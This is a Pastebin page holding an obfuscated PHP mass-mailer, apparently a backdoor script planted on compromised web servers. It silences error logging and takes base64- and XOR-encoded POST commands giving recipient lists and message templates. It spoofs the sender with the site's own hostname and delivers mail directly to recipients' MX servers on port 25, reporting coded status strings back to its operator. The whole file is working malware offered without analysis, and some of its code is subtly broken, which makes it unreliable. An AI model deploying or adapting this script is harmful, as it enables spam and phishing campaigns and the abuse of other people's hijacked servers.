Advertisement
Guest User

?iyN4CTer?

a guest
Jul 13th, 2014
1,488
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 23.45 KB | None | 0 0
  1. <?
  2. $i59                = "Euc<v#`5R1s?j{\nJnd8,KA>}wIQ\r7gp;^U0\"YBSH@!=&MOG\\Vlaz\$2mtxLFDX[Zb:f6)~h+%'_k/iyN4CTer.|(3]-\tq9*o PW";
  3. @error_reporting(NULL);
  4. @ini_set("error_log", NULL);
  5. @ini_set("log_errors", 0);
  6. $vxlcl82 = array(
  7.     "dataTo" => "",
  8.     "fromLogin" => "",
  9.     "fromName" => "",
  10.     "subjTempl" => "",
  11.     "bodyTempl" => "",
  12.     "hostFrom" => "",
  13.     "initnbsock" => FALSE,
  14.     "initsock" => FALSE,
  15.     "initmail" => FALSE
  16. );
  17. if (FALSE == bctio27($i59, $vxlcl82)) {
  18.     echo PHP_OS . "+" . md5(0987654321) . "+01+[[]]\n";
  19.     exit;
  20. }
  21. $unahu45 = array();
  22. foreach ($vxlcl82["dataTo"] as $xenfh75) {
  23.     $iztbg25 = array(
  24.         "nameFirst" => "",
  25.         "nameLast" => "",
  26.         "emailTo" => "",
  27.         "domainTo" => "",
  28.         "emailToLong" => "",
  29.         "forceFromFlag" => FALSE,
  30.         "emailFrom" => "",
  31.         "emailFromLong" => "",
  32.         "subj" => "",
  33.         "body" => "",
  34.         "headersMain" => "",
  35.         "headersFrom" => "",
  36.         "headersSock" => "",
  37.         "mxHost" => "",
  38.         "mxAddr" => null,
  39.         "sock" => null,
  40.         "stime" => null,
  41.         "nbstep" => 0,
  42.         "errline" => "",
  43.         "done" => FALSE,
  44.         "doneWay" => 0,
  45.         "failSmtp" => FALSE
  46.     );
  47.     if (FALSE == xagwq19($i59, $xenfh75, $vxlcl82, $iztbg25)) {
  48.         echo PHP_OS . "+" . md5(1111111111) . "+02+[[" . fsuxu12($i59, $xenfh75) . "]]\n";
  49.         continue;
  50.     }
  51.     slltw17($i59, $vxlcl82, $iztbg25);
  52.     hkblq88($i59, $vxlcl82, $iztbg25);
  53.     $unahu45[] = $iztbg25;
  54. }
  55. crnms40($i59, $vxlcl82, $unahu45);
  56. pkwxg22($i59, $vxlcl82, $unahu45);
  57. glxex92($i59, $vxlcl82, $unahu45);
  58. ygxtf52($i59, $vxlcl82, $unahu45);
  59. function fsuxu12($i59, $nihvk86)
  60. {
  61.     $esjbi0 = "";
  62.     for ($haxae63 = 0; $haxae63 < strlen($nihvk86); $haxae63++)
  63.         $esjbi0 .= chr(ord($nihvk86[$haxae63]) ^ 2);
  64.     return base64_encode($esjbi0);
  65. }
  66. function ygxtf52($i59, $vxlcl82, $unahu45)
  67. {
  68.     if ($vxlcl82["initnbsock"] == FALSE && $vxlcl82["initsock"] == FALSE && $vxlcl82["initmail"] == FALSE) {
  69.         echo PHP_OS . "+" . md5(1111111111) . "+03+[[" . fsuxu12($i59, "no func exists") . "]]\n";
  70.         return;
  71.     }
  72.     $hmcex42 = 0;
  73.     for ($jkbvz84 = 0; $jkbvz84 < count($unahu45); $jkbvz84++) {
  74.         if ($unahu45[$jkbvz84]["failSmtp"] == TRUE) {
  75.             echo PHP_OS . "+" . md5(2222222222) . "+04+[[" . fsuxu12($i59, $unahu45[$jkbvz84]["emailTo"] . " :: " . $unahu45[$jkbvz84]["errline"]) . "]]\n";
  76.         }
  77.         if ($unahu45[$jkbvz84]["done"] == TRUE) {
  78.             $hmcex42++;
  79.         }
  80.     }
  81.     if ($hmcex42 == 0) {
  82.         echo PHP_OS . "+" . md5(0987654321) . "+04+[[]]\n";
  83.     } else {
  84.         echo "OK+" . md5(1234567890) . "+" . $hmcex42 . "+" . count($unahu45) . "\n";
  85.     }
  86. }
  87. function pkwxg22($i59, &$vxlcl82, &$unahu45)
  88. {
  89.     if (!function_exists("mail")) {
  90.         $vxlcl82["initmail"] = FALSE;
  91.         return;
  92.     }
  93.     $vxlcl82["initmail"] = TRUE;
  94.     for ($jkbvz84 = 0; $jkbvz84 < count($unahu45); $jkbvz84++) {
  95.         if ($unahu45[$jkbvz84]["done"] == TRUE)
  96.             continue;
  97.         if ($unahu45[$jkbvz84]["forceFromFlag"]) {
  98.             if (@mail($unahu45[$jkbvz84]["emailToLong"], $unahu45[$jkbvz84]["subj"], $unahu45[$jkbvz84]["body"], $unahu45[$jkbvz84]["headersFrom"] . $unahu45[$jkbvz84]["headersMain"], "-f" . $unahu45[$jkbvz84]["emailFrom"])) {
  99.                 $unahu45[$jkbvz84]["done"]                   = TRUE;
  100.                 $unahu45[$jkbvz84]["doneWay"] = 2;
  101.             } else {
  102.                 $unahu45[$jkbvz84]["done"] = FALSE;
  103.             }
  104.         } else {
  105.             if (@mail($unahu45[$jkbvz84]["emailToLong"], $unahu45[$jkbvz84]["subj"], $unahu45[$jkbvz84]["body"], $unahu45[$jkbvz84]["headersMain"])) {
  106.                 $unahu45[$jkbvz84]["done"]                   = TRUE;
  107.                 $unahu45[$jkbvz84]["doneWay"] = 2;
  108.             } else {
  109.                 $unahu45[$jkbvz84]["done"] = FALSE;
  110.             }
  111.         }
  112.     }
  113. }
  114. function fjcwd9($i59, $kcpbr76)
  115. {
  116.     $esjbi0 = '';
  117.     while ($itygz27 = @fgets($kcpbr76, 4096)) {
  118.         $esjbi0 .= $itygz27;
  119.         if (substr($itygz27, 3, 1) == " ")
  120.             break;
  121.     }
  122.     return $esjbi0;
  123. }
  124. function glxex92($i59, &$vxlcl82, &$unahu45)
  125. {
  126.     if (!function_exists("fsockopen") && !function_exists("pfsockopen") && !function_exists("stream_socket_client")) {
  127.         $vxlcl82["initsock"] = FALSE;
  128.         return;
  129.     }
  130.     $vxlcl82["initsock"] = TRUE;
  131.     for ($jkbvz84 = 0; $jkbvz84 < count($unahu45); $jkbvz84++) {
  132.         if ($unahu45[$jkbvz84]["done"] == TRUE) {
  133.             continue;
  134.         }
  135.         if ($unahu45[$jkbvz84]["failSmtp"] == TRUE) {
  136.             continue;
  137.         }
  138.         if ($unahu45[$jkbvz84]["mxAddr"] == null) {
  139.             $unahu45[$jkbvz84]["mxAddr"] = gethostbyname($unahu45[$jkbvz84]["mxHost"]);
  140.         }
  141.         $unahu45[$jkbvz84]["nbstep"] = 0;
  142.         $lllaf63                                              = 0;
  143.         $rbjyp61                                              = "";
  144.         if (function_exists("fsockopen")) {
  145.             $unahu45[$jkbvz84]["sock"] = @fsockopen($unahu45[$jkbvz84]["mxAddr"], 25, $lllaf63, $rbjyp61, 15);
  146.         } elseif (function_exists("pfsockopen")) {
  147.             $unahu45[$jkbvz84]["sock"] = @pfsockopen($unahu45[$jkbvz84]["mxAddr"], 25, $lllaf63, $rbjyp61, 15);
  148.         } elseif (function_exists("stream_socket_client")) {
  149.             $unahu45[$jkbvz84]["sock"] = @stream_socket_client("tcp://" . $unahu45[$jkbvz84]["mxAddr"] . ":25", $lllaf63, $rbjyp61, 15);
  150.         } else {
  151.             $unahu45[$jkbvz84]["errline"] = "sock connect function";
  152.             continue;
  153.         }
  154.         if (!$unahu45[$jkbvz84]["sock"]) {
  155.             $unahu45[$jkbvz84]["errline"] = "sock connect";
  156.             continue;
  157.         }
  158.         $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
  159.         @fputs($unahu45[$jkbvz84]["sock"], "EHLO " . $vxlcl82["hostFrom"] . "\r\n");
  160.         $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
  161.         if (substr($yzqyk58, 0, 3) != 250) {
  162.             $unahu45[$jkbvz84]["nbstep"]       = 2;
  163.             $unahu45[$jkbvz84]["errline"] = "<< ehlo " . trim(preg_replace("/\r\n/", " ", $yzqyk58));
  164.             fclose($unahu45[$jkbvz84]["sock"]);
  165.             continue;
  166.         }
  167.         @fputs($unahu45[$jkbvz84]["sock"], "MAIL FROM:<" . $unahu45[$jkbvz84]["emailFrom"] . ">\r\n");
  168.         $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
  169.         if (substr($yzqyk58, 0, 3) != 250) {
  170.             $unahu45[$jkbvz84]["nbstep"]             = 3;
  171.             $unahu45[$jkbvz84]["failSmtp"] = TRUE;
  172.             $unahu45[$jkbvz84]["errline"]       = "<< mail from " . trim(preg_replace("/\r\n/", " ", $yzqyk58));
  173.             fclose($unahu45[$jkbvz84]["sock"]);
  174.             continue;
  175.         }
  176.         @fputs($unahu45[$jkbvz84]["sock"], "RCPT TO:<" . $unahu45[$jkbvz84]["emailTo"] . ">\r\n");
  177.         $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
  178.         if (substr($yzqyk58, 0, 3) != 250 && substr($yzqyk58, 0, 3) != 251) {
  179.             $unahu45[$jkbvz84]["nbstep"]             = 4;
  180.             $unahu45[$jkbvz84]["failSmtp"] = TRUE;
  181.             $unahu45[$jkbvz84]["errline"]       = "<< rcpt to " . trim(preg_replace("/\r\n/", " ", $yzqyk58));
  182.             fclose($unahu45[$jkbvz84]["sock"]);
  183.             continue;
  184.         }
  185.         @fputs($unahu45[$jkbvz84]["sock"], "DATA\r\n");
  186.         $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
  187.         if (substr($yzqyk58, 0, 3) != 354) {
  188.             $unahu45[$jkbvz84]["nbstep"]             = 5;
  189.             $unahu45[$jkbvz84]["failSmtp"] = TRUE;
  190.             $unahu45[$jkbvz84]["errline"]       = "<< data " . trim(preg_replace("/\r\n/", " ", $yzqyk58));
  191.             fclose($unahu45[$jkbvz84]["sock"]);
  192.             continue;
  193.         }
  194.         @fputs($unahu45[$jkbvz84]["sock"], $unahu45[$jkbvz84]["headersSock"] . "\r\n" . $unahu45[$jkbvz84]["body"] . "\r\n.\r\n");
  195.         $yzqyk58 = fjcwd9($i59, $unahu45[$jkbvz84]["sock"]);
  196.         if (substr($yzqyk58, 0, 3) != 250) {
  197.             $unahu45[$jkbvz84]["nbstep"]             = 6;
  198.             $unahu45[$jkbvz84]["failSmtp"] = TRUE;
  199.             $unahu45[$jkbvz84]["errline"]       = "<< body " . trim(preg_replace("/\r\n/", " ", $yzqyk58));
  200.             fclose($unahu45[$jkbvz84]["sock"]);
  201.             continue;
  202.         }
  203.         $unahu45[$jkbvz84]["nbstep"]       = 6;
  204.         $unahu45[$jkbvz84]["errline"] = "sock done";
  205.         $unahu45[$jkbvz84]["done"]                   = TRUE;
  206.         $unahu45[$jkbvz84]["doneWay"] = 3;
  207.         @fputs($unahu45[$jkbvz84]["sock"], "QUIT\r\n");
  208.         @fclose($unahu45[$jkbvz84]["sock"]);
  209.     }
  210.     return;
  211. }
  212. function wfyfz82($i59, $kcpbr76, &$ccdut93, &$wdnqf10, $ghjnv17)
  213. {
  214.     $ccdut93[$wdnqf10[$kcpbr76]["orig"]]["nbstep"] = $ghjnv17;
  215.     $ccdut93[$wdnqf10[$kcpbr76]["orig"]]["stime"]       = time(NULL);
  216.     $wdnqf10[$kcpbr76]["nbstep"]                                  = $ghjnv17;
  217.     $wdnqf10[$kcpbr76]["stime"]                                        = time(NULL);
  218. }
  219. function wdkay7($i59, $kcpbr76, &$ccdut93, &$wdnqf10, &$nxvux4, $tlqgr67)
  220. {
  221.     $ccdut93[$wdnqf10[$kcpbr76]["orig"]]["errline"] = trim(preg_replace("/\r\n/", " ", $tlqgr67));
  222.     $wwnfn92                                                                                     = array_search($kcpbr76, $nxvux4);
  223.     unset($nxvux4[$wwnfn92]);
  224.     unset($wdnqf10[$kcpbr76]);
  225.     socket_close($kcpbr76);
  226. }
  227. function crnms40($i59, &$vxlcl82, &$unahu45)
  228. {
  229.     if (!function_exists("socket_create") || !function_exists("socket_connect") || !function_exists("socket_select") || !function_exists("socket_read") || !function_exists("socket_write")) {
  230.         $vxlcl82["initnbsock"] = FALSE;
  231.         return;
  232.     }
  233.     $vxlcl82["initnbsock"] = TRUE;
  234.     $xglki37                                                            = array();
  235.     $vfyxw97                                                            = 35;
  236.     $pvbdh92                                                            = 25;
  237.     $aaaqk92                                                            = array();
  238.     $wbwts68                                                            = array();
  239.     for ($jkbvz84 = 0; $jkbvz84 < count($unahu45); $jkbvz84++) {
  240.         if ($unahu45["done"] == TRUE) {
  241.             continue;
  242.         }
  243.         if ($unahu45[$jkbvz84]["failSmtp"] == TRUE) {
  244.             continue;
  245.         }
  246.         $unahu45[$jkbvz84]["sock"] = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  247.         if ($unahu45[$jkbvz84]["sock"] == FALSE) {
  248.             $unahu45[$jkbvz84]["errline"] = "nb create socket";
  249.             continue;
  250.         }
  251.         @socket_set_nonblock($unahu45[$jkbvz84]["sock"]);
  252.         $unahu45[$jkbvz84]["mxAddr"] = gethostbyname($unahu45[$jkbvz84]["mxHost"]);
  253.         $ncsee45                                              = @socket_connect($unahu45[$jkbvz84]["sock"], $unahu45[$jkbvz84]["mxHost"], 25);
  254.         if ($ncsee45 == FALSE) {
  255.             $jnxjb61 = socket_last_error();
  256.             if ($jnxjb61 != 10035 && $jnxjb61 != SOCKET_EINPROGRESS && $jnxjb61 != SOCKET_EALREADY) {
  257.                 $unahu45[$jkbvz84]["errline"] = "nb connect socket";
  258.                 continue;
  259.             }
  260.         }
  261.         $unahu45[$jkbvz84]["stime"]                            = time(NULL);
  262.         $aaaqk92[]                                                                 = $unahu45[$jkbvz84]["sock"];
  263.         $xglki37[$unahu45[$jkbvz84]["sock"]]                        = $unahu45[$jkbvz84];
  264.         $xglki37[$unahu45[$jkbvz84]["sock"]]["orig"] = $jkbvz84;
  265.     }
  266.     while (count($aaaqk92) + count($wbwts68) > 0) {
  267.         $ewqxb0  = $aaaqk92;
  268.         $olbdv78 = $wbwts68;
  269.         if (FALSE !== ($baluw62 = socket_select($olbdv78, $ewqxb0, $yyjgh73 = null, 0))) {
  270.             if ($baluw62 > 0) {
  271.                 if (count($olbdv78) > 0) {
  272.                     foreach ($olbdv78 as $ipocr99) {
  273.                         $yzqyk58 = @socket_read($ipocr99, 1024);
  274.                         if ($yzqyk58 == FALSE) {
  275.                             wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "nb sock read");
  276.                             continue;
  277.                         }
  278.                         if ($xglki37[$ipocr99]["nbstep"] == 1) {
  279.                             $ncsee45 = @socket_write($ipocr99, "EHLO " . $vxlcl82["hostFrom"] . "\r\n");
  280.                             if ($ncsee45 == FALSE) {
  281.                                 wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb ehlo");
  282.                                 continue;
  283.                             }
  284.                             wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 2);
  285.                         } elseif ($xglki37[$ipocr99]["nbstep"] == 2) {
  286.                             if (substr($yzqyk58, 0, 3) != 250) {
  287.                                 wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "<< nb ehlo " . $yzqyk58);
  288.                                 continue;
  289.                             }
  290.                             $ncsee45 = @socket_write($ipocr99, "MAIL FROM:<" . $xglki37[$ipocr99]["emailFrom"] . ">\r\n");
  291.                             if ($ncsee45 == FALSE) {
  292.                                 wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb mail from");
  293.                                 continue;
  294.                             }
  295.                             wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 3);
  296.                         } elseif ($xglki37[$ipocr99]["nbstep"] == 3) {
  297.                             if (substr($yzqyk58, 0, 3) != 250) {
  298.                                 $unahu45[$xglki37[$ipocr99]["orig"]]["failSmtp"] = TRUE;
  299.                                 wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "<< nb mail from " . $yzqyk58);
  300.                                 continue;
  301.                             }
  302.                             $ncsee45 = @socket_write($ipocr99, "RCPT TO:<" . $xglki37[$ipocr99]["emailTo"] . ">\r\n");
  303.                             if ($ncsee45 == FALSE) {
  304.                                 wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb rcpt to");
  305.                                 continue;
  306.                             }
  307.                             wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 4);
  308.                         } elseif ($xglki37[$ipocr99]["nbstep"] == 4) {
  309.                             if (substr($yzqyk58, 0, 3) != 250 && substr($yzqyk58, 0, 3) != 251) {
  310.                                 $unahu45[$xglki37[$ipocr99]["orig"]]["failSmtp"] = TRUE;
  311.                                 wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "<< nb rcpt to " . $yzqyk58);
  312.                                 continue;
  313.                             }
  314.                             $ncsee45 = @socket_write($ipocr99, "DATA\r\n");
  315.                             if ($ncsee45 == FALSE) {
  316.                                 print $yzqyk58;
  317.                                 wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb data");
  318.                                 continue;
  319.                             }
  320.                             wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 5);
  321.                         } elseif ($xglki37[$ipocr99]["nbstep"] == 5) {
  322.                             if (substr($yzqyk58, 0, 3) != 354) {
  323.                                 $unahu45[$xglki37[$ipocr99]["orig"]]["failSmtp"] = TRUE;
  324.                                 wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "<< nb data " . $yzqyk58);
  325.                                 continue;
  326.                             }
  327.                             $ncsee45 = @socket_write($ipocr99, $xglki37[$ipocr99]["headersSock"] . "\r\n" . $xglki37[$ipocr99]["body"] . "\r\n.\r\n");
  328.                             if ($ncsee45 == FALSE) {
  329.                                 wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb body");
  330.                                 continue;
  331.                             }
  332.                             wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 6);
  333.                         } elseif ($xglki37[$ipocr99]["nbstep"] == 6) {
  334.                             if (substr($yzqyk58, 0, 3) != 250) {
  335.                                 $unahu45[$xglki37[$ipocr99]["orig"]]["failSmtp"] = TRUE;
  336.                                 wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "<< nb body " . $yzqyk58);
  337.                                 continue;
  338.                             }
  339.                             $unahu45[$xglki37[$ipocr99]["orig"]]["failSmtp"] = FALSE;
  340.                             $unahu45[$xglki37[$ipocr99]["orig"]]["done"]                         = TRUE;
  341.                             $unahu45[$xglki37[$ipocr99]["orig"]]["doneWay"]       = 1;
  342.                             $ncsee45                                                                                           = @socket_write($ipocr99, "QUIT\r\n");
  343.                             if ($ncsee45 == FALSE) {
  344.                                 wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, ">> nb quit");
  345.                                 continue;
  346.                             }
  347.                             wfyfz82($i59, $ipocr99, $unahu45, $xglki37, 6);
  348.                             wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "nb done");
  349.                         } else {
  350.                             wdkay7($i59, $ipocr99, $unahu45, $xglki37, $wbwts68, "nb unknown step");
  351.                         }
  352.                     }
  353.                 }
  354.                 if (count($ewqxb0) > 0) {
  355.                     foreach ($ewqxb0 as $eztco67) {
  356.                         wfyfz82($i59, $eztco67, $unahu45, $xglki37, 1);
  357.                         $wbwts68[] = $eztco67;
  358.                         $uzrsu74   = array_search($eztco67, $aaaqk92);
  359.                         unset($aaaqk92[$uzrsu74]);
  360.                     }
  361.                 }
  362.             }
  363.         } else {
  364.             break;
  365.         }
  366.         foreach ($xglki37 as $nqhsc23) {
  367.             $hklao9 = time(NULL);
  368.             if ($nqhsc23["nbstep"] == 0) {
  369.                 if ($nqhsc23["stime"] + $vfyxw97 < $hklao9) {
  370.                     wdkay7($i59, $nqhsc23["sock"], $unahu45, $xglki37, $aaaqk92, "nb sock conn timeout " . $nqhsc23["nbstep"]);
  371.                 }
  372.             } else {
  373.                 if ($nqhsc23["stime"] + $pvbdh92 < $hklao9) {
  374.                     closeSock($nqhsc23["sock"], $unahu45, $xglki37, $wbwts68, "nb sock r/w timeout " . $nqhsc23["nbstep"]);
  375.                 }
  376.             }
  377.         }
  378.     }
  379. }
  380. function hkblq88($i59, $vxlcl82, &$esjbi0)
  381. {
  382.     $esjbi0["headersMain"] = "X-Priority: 3 (Normal)\r\n";
  383.     $esjbi0["headersMain"] .= "MIME-Version: 1.0\r\n";
  384.     $esjbi0["headersMain"] .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n";
  385.     $esjbi0["headersMain"] .= "Content-Transfer-Encoding: 8bit\r\n";
  386.     $esjbi0["headersFrom"] = "From: " . $esjbi0["emailFromLong"] . "\r\n";
  387.     $esjbi0["headersFrom"] .= "Reply-To:" . $esjbi0["emailFromLong"] . "\r\n";
  388.     $esjbi0["headersSock"] = "Date: " . @date("D, j M Y G:i:s O") . "\r\n";
  389.     $esjbi0["headersSock"] .= $esjbi0["headersFrom"];
  390.     $esjbi0["headersSock"] .= "Message-ID: <" . preg_replace("/(.{7})(.{5})(.{2}).*/", "", md5(time())) . "@" . $vxlcl82["hostFrom"] . ">\r\n";
  391.     $esjbi0["headersSock"] .= "To: " . $esjbi0["emailToLong"] . "\r\n";
  392.     $esjbi0["headersSock"] .= "Subject: " . $esjbi0["subj"] . "\r\n";
  393.     $esjbi0["headersSock"] .= $esjbi0["headersMain"];
  394. }
  395. function slltw17($i59, $vxlcl82, &$esjbi0)
  396. {
  397.     $esjbi0["subj"] = @str_replace("%R_NAME%", $esjbi0["nameFirst"], $vxlcl82["subjTempl"]);
  398.     $esjbi0["subj"] = @str_replace("%R_LNAME%", $esjbi0["nameLast"], $esjbi0["subj"]);
  399.     $esjbi0["body"] = @str_replace("%R_NAME%", $esjbi0["nameFirst"], $vxlcl82["bodyTempl"]);
  400.     $esjbi0["body"] = @str_replace("%R_LNAME%", $esjbi0["nameLast"], $esjbi0["body"]);
  401. }
  402. function xagwq19($i59, $mfvuq23, $vxlcl82, &$esjbi0)
  403. {
  404.     if (FALSE === @preg_match("/(.*?;)?(.*?;)?(.+@(.+)?);?/", $mfvuq23, $zroqx74)) {
  405.         return FALSE;
  406.     }
  407.     if (!isset($zroqx74) || count($zroqx74) != 5) {
  408.         return FALSE;
  409.     }
  410.     $esjbi0["nameFirst"] = @ucfirst(str_replace(";", "", $zroqx74[1]));
  411.     $esjbi0["nameLast"]       = @ucfirst(str_replace(";", "", $zroqx74[2]));
  412.     $esjbi0["emailTo"]             = str_replace(";", "", $zroqx74[3]);
  413.     $esjbi0["domainTo"]       = str_replace(";", "", $zroqx74[4]);
  414.     if (!isset($esjbi0["domainTo"]) || $esjbi0["domainTo"] == "") {
  415.         return FALSE;
  416.     }
  417.     if (!isset($esjbi0["emailTo"]) || $esjbi0["emailTo"] == "") {
  418.         return FALSE;
  419.     }
  420.     if (isset($esjbi0["nameFirst"]) && $esjbi0["nameFirst"] != "") {
  421.         $esjbi0["emailToLong"] = "\"" . $esjbi0["nameFirst"] . " " . $esjbi0["nameLast"] . "\" <" . $esjbi0["emailTo"] . ">";
  422.     } else {
  423.         $esjbi0["emailToLong"] = $esjbi0["emailTo"];
  424.     }
  425.     if (preg_match("", $vxlcl82["hostFrom"]) || @ini_get("safe_mode")) {
  426.         $esjbi0["forceFromFlag"] = FALSE;
  427.     } else {
  428.         $esjbi0["forceFromFlag"] = TRUE;
  429.     }
  430.     $esjbi0["emailFrom"] = $vxlcl82["fromLogin"] . "@" . $vxlcl82["hostFrom"];
  431.     if (isset($vxlcl82["fromName"]) && $vxlcl82["fromName"] != "") {
  432.         $esjbi0["emailFromLong"] = $vxlcl82["fromName"] . " <" . $esjbi0["emailFrom"] . ">";
  433.     } else {
  434.         $esjbi0["emailFromLong"] = $esjbi0["emailFrom"];
  435.     }
  436.     $esjbi0["mxHost"] = "127.0.0.1";
  437.     if (function_exists("getmxrr")) {
  438.         @getmxrr($esjbi0["domainTo"], $nhysx96, $ntryu13);
  439.         if (count($nhysx96) !== 0) {
  440.             $haxae63                                   = array_keys($ntryu13, min($ntryu13));
  441.             $esjbi0["mxHost"] = $nhysx96[$haxae63[0]];
  442.         }
  443.     }
  444.     return TRUE;
  445. }
  446. function bctio27($i59, &$esjbi0)
  447. {
  448.     if (count($_POST) < 2) {
  449.         return FALSE;
  450.     }
  451.     $fnxyh15 = false;
  452.     $ybhhi32 = $wghts9 = "";
  453.     foreach (array_keys($_POST) as $zcxpv1) {
  454.         if ($zcxpv1[0] == "l")
  455.             $ybhhi32 = $zcxpv1;
  456.         if ($zcxpv1[0] == "d")
  457.             $wghts9 = $zcxpv1;
  458.         if ($zcxpv1[0] == "e")
  459.             $xuzda17 = true;
  460.     }
  461.     if ($ybhhi32 == "" || $wghts9 == "") {
  462.         return FALSE;
  463.     }
  464.     $owxdm76 = ppuqd76($i59, $ybhhi32, $xuzda17);
  465.     $ufusu43 = ppuqd76($i59, $wghts9, $xuzda17);
  466.     if ($owxdm76 == FALSE || $ufusu43 == FALSE) {
  467.         return FALSE;
  468.     }
  469.     $esjbi0["dataTo"]                   = @preg_split("/#/", $owxdm76);
  470.     $esjbi0["fromLogin"] = $esjbi0["fromName"] = $esjbi0["subjTempl"] = $esjbi0["bodyTempl"] = "";
  471.     if (FALSE !== @preg_match("/<USER>(.*?)<\\/USER>/ism", $ufusu43, $zroqx74) && isset($zroqx74) && count($zroqx74) > 1) {
  472.         $esjbi0["fromLogin"] = $zroqx74[1];
  473.     }
  474.     if (FALSE !== @preg_match("/<NAME>(.*?)<\\/NAME>/ism", $ufusu43, $zroqx74) && isset($zroqx74) && count($zroqx74) > 1) {
  475.         $esjbi0["fromName"] = $zroqx74[1];
  476.     }
  477.     if (FALSE !== @preg_match("/<SUBJ>(.*?)<\\/SUBJ>/ism", $ufusu43, $zroqx74) && isset($zroqx74) && count($zroqx74) > 1) {
  478.         $esjbi0["subjTempl"] = $zroqx74[1];
  479.     }
  480.     if (FALSE !== @preg_match("/<SBODY>(.*?)<\\/SBODY>/ism", $ufusu43, $zroqx74) && isset($zroqx74) && count($zroqx74) > 1) {
  481.         $esjbi0["bodyTempl"] = $zroqx74[1];
  482.     }
  483.     $esjbi0["hostFrom"] = @preg_replace("/^(www|ftp)\\./i", '', @$_SERVER["HTTP_HOST"]);
  484.     return TRUE;
  485. }
  486. function ppuqd76($i59, $zcxpv1, $fnxyh15)
  487. {
  488.     if (!isset($zcxpv1) || $zcxpv1 == "")
  489.         return FALSE;
  490.     $couuh34 = @$_POST[$zcxpv1];
  491.     if ($fnxyh15) {
  492.         $lyvyv48 = base64_decode($couuh34);
  493.         $couuh34 = '';
  494.         for ($haxae63 = 0; $haxae63 < strlen($lyvyv48); $haxae63++)
  495.             $couuh34 .= chr(ord($lyvyv48[$haxae63]) ^ 2);
  496.     }
  497.     return urldecode(stripslashes($couuh34));
  498. }
  499. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement